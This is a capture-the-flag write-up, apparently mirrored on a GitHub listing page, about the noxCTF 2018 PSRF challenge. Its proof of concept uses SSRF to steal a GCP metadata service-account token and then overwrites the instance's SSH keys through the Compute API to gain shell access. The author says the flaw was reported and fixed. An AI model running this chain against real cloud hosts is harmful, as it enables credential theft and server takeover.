All Projects → seadog007 → noxCTF-2018-PSRF-as-Pwn

seadog007 / noxCTF-2018-PSRF-as-Pwn

Licence: other
No description or website provided.

Projects that are alternatives of or similar to noxCTF-2018-PSRF-as-Pwn

tryhackme-ctf
TryHackMe CTFs writeups, notes, drafts, scrabbles, files and solutions.
Stars: ✭ 140 (+180%)
Mutual labels:  ctf-writeups, writeups, ctf-solutions
nsa-codebreaker-2020
My solutions to the 2020 NSA Codebreaker Challenge
Stars: ✭ 69 (+38%)
Mutual labels:  ctf-writeups, ctf, ctf-solutions
ctf4noobs
Resumão da massa sobre Capture the Flag.
Stars: ✭ 18 (-64%)
Mutual labels:  ctf-writeups, ctf, ctf-solutions
wani-writeup
CTF solutions from Osaka University CTF team Wani Hackase
Stars: ✭ 20 (-60%)
Mutual labels:  ctf-writeups, ctf, ctf-solutions
ctfdump
ctf solutions
Stars: ✭ 64 (+28%)
Mutual labels:  ctf-writeups, ctf, ctf-solutions
ctf
ctf wp 2019-2020
Stars: ✭ 23 (-54%)
Mutual labels:  ctf-writeups, ctf, ctf-solutions
WriteUps
🏴‍☠️ 각종 대회 문제풀이 / WriteUp files from CTF(Capture The Flag) contests & Wargames, Programming Challenges
Stars: ✭ 19 (-62%)
Mutual labels:  ctf-writeups, writeup, ctf-solutions
obsidian
Writeups for CTF challenges.
Stars: ✭ 47 (-6%)
Mutual labels:  ctf-writeups, ctf, ctf-solutions
flare-on-challenges
Write-ups for FireEye's FLARE-On challenges
Stars: ✭ 24 (-52%)
Mutual labels:  ctf-writeups, ctf, ctf-solutions
CTF-Challenges
Capture the flag challenges
Stars: ✭ 41 (-18%)
Mutual labels:  ctf-writeups, ctf, ctf-solutions
ctf
CTF programs and writeups
Stars: ✭ 22 (-56%)
Mutual labels:  ctf-writeups, ctf
empirectf
EmpireCTF – write-ups, capture the flag, cybersecurity
Stars: ✭ 122 (+144%)
Mutual labels:  ctf-writeups, ctf
wanictf21spring-writeup
WaniCTF'21-spring official writeup & source code
Stars: ✭ 14 (-72%)
Mutual labels:  ctf-writeups, ctf
CTF
CTF (Capture The Flag Writeups and Tools)
Stars: ✭ 57 (+14%)
Mutual labels:  ctf-writeups, ctf
CTF
Some wrrite-ups
Stars: ✭ 15 (-70%)
Mutual labels:  ctf-writeups, ctf
CTF
My CTF writeups
Stars: ✭ 84 (+68%)
Mutual labels:  ctf-writeups, ctf
AHE17
Android Hacking Event 2017 Write-up
Stars: ✭ 40 (-20%)
Mutual labels:  ctf-writeups, ctf
hackergame2021-writeups
中国科学技术大学第八届信息安全大赛的官方与非官方题解
Stars: ✭ 444 (+788%)
Mutual labels:  ctf-writeups, ctf
Privilege Escalation
This cheasheet is aimed at the CTF Players and Beginners to help them understand the fundamentals of Privilege Escalation with examples.
Stars: ✭ 2,117 (+4134%)
Mutual labels:  ctf-writeups, ctf
CTF-Write-UP
澳門網絡安全暨奪旗競賽協會(Macau Cyber Security and Capture The Flag Association)MOCSCTF/MOCTF
Stars: ✭ 27 (-46%)
Mutual labels:  ctf-writeups, ctf

noxCTF-2018-PSRF-as-Pwn

Introduction

This article was a CTF (Capture the flag) writeup, and it shows a common mistake that happend when designing a CTF challange. Basically, it shows if a challenge can access the internal network, and the machine is on a Cloud service provider, then you might have the chance to take it over. The following are the technique details.

Story

When I was play noxCTF 2018, I saw a challenge named PSRF and it under web category, then I thought that might be SSRF, PostScript, or both.
Then I decided to look at that. I trying to solve it by the way I think it should be, but I always got HTTP 500 when I trying to access another server, so I decided to use another way to do it.

There are some terms that usually appear on CTF and Information Security Area

Recon

The challenge provide an input box and a radio box, and it will send a HTTP GET request to http://35.241.245.36/api/v1/upload?url=http://your_url&method=get
like this, and it will return an image name, and the result of the SSRF will store under http://35.241.245.36/images/

The challenge has kubernetes logo on the bottom of the page like the screenshot below, and the IP is 35.241.245.36.
Page Screenshot

I immediately realized that is a GCP machine, so I tested the backend server by sending HTTP request to my server to see if it is also on GCP, and it is.
GCP determine

Cloud Based Attack

I think there is not much people know about http://metadata.google.internal.
Well, basically, it is a "feature" provided by Google Cloud Platform, you can use it to access information about the project and instances, but it also include the time limited API token of service account under the project. It is enable by the default.

PoC

  1. Sending SSRF Payload and get the result
curl -s 'http://35.241.245.36/images/'`curl -s "http://35.241.245.36/api/v1/upload?url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token&method=get"`
  1. And you will get something like this, one access token, and it's type, which is Bearer.
{"access_token":"xxxxxxxxxx","expires_in":3063,"token_type":"Bearer"}
  1. Doing this for other information we need
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/instance/name
http://metadata.google.internal/computeMetadata/v1/instance/zone
  1. Now, you can use this API on your own computer https://www.googleapis.com/compute/v1/projects/{}/zones/{}/instances/{}
    With header
Metadata-Flavor: Google
Authorization: Bearer xxxxxxxx_token_from_first_step_xxxxxxxx
  1. You will get some thing like this.
.........................
 ],
 "metadata": {
  "kind": "compute#metadata",
  "fingerprint": "2bsm86CRs-0=",
  "items": [
   {
    "key": "instance-template",
    "value": "projects/720594190990/global/instanceTemplates/gke-psrf-dev-default-pool-9ae6b68d"
   },
   {
    "key": "created-by",
    "value": "projects/720594190990/zones/europe-west1-b/instanceGroupManagers/gke-psrf-dev-default-pool-9ae6b68d-grp"
   },
   {
    "key": "gci-update-strategy",
    "value": "update_disabled"
   }
.........................
We only need the fingerprint
  1. Set the ssh key Send a POST request to this link with the header and data https://www.googleapis.com/compute/v1/projects/{}/zones/{}/instances/{}/setMetadata
Metadata-Flavor: Google
Authorization: Bearer xxxxxxxx_token_from_first_step_xxxxxxxx
Content-Type: application/json
{
  "fingerprint":"2bsm86CRs-0=",
  "items": [
    {
      "key": "sshKeys",
      "value": "username:ssh-rsa AAAAB..................4KeQzSMFH userid"
    }
  ]
}
  1. You just replace the original ssh key to yours. P.S. You can also do this on the whole project.
    The API detail can be found on Managing SSH keys in Metadata

Solving the challenge by not its design

I ssh to the server. I know it is using kubernetes, so I run docker ps
docker ps

Then docker exec -it xxxxxxxxx /bin/sh
Then ls

source code

Easy, just solved the challenge by looking at the source code

Follow up

I report this security issue to the team, and just fix it pretty quick.
coversation_1
coversation_2

Applicable environment

Not only GCP has these kind of management interface, you can also found similar thing on AWS.
Most of CTF use docker to host challenges, but in most of the challenges that don't limit the network, so it is possible to do a privilege escalation on pwn or web challenges.

References

Twistlock Protection for Kubernetes Specific Attacks

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].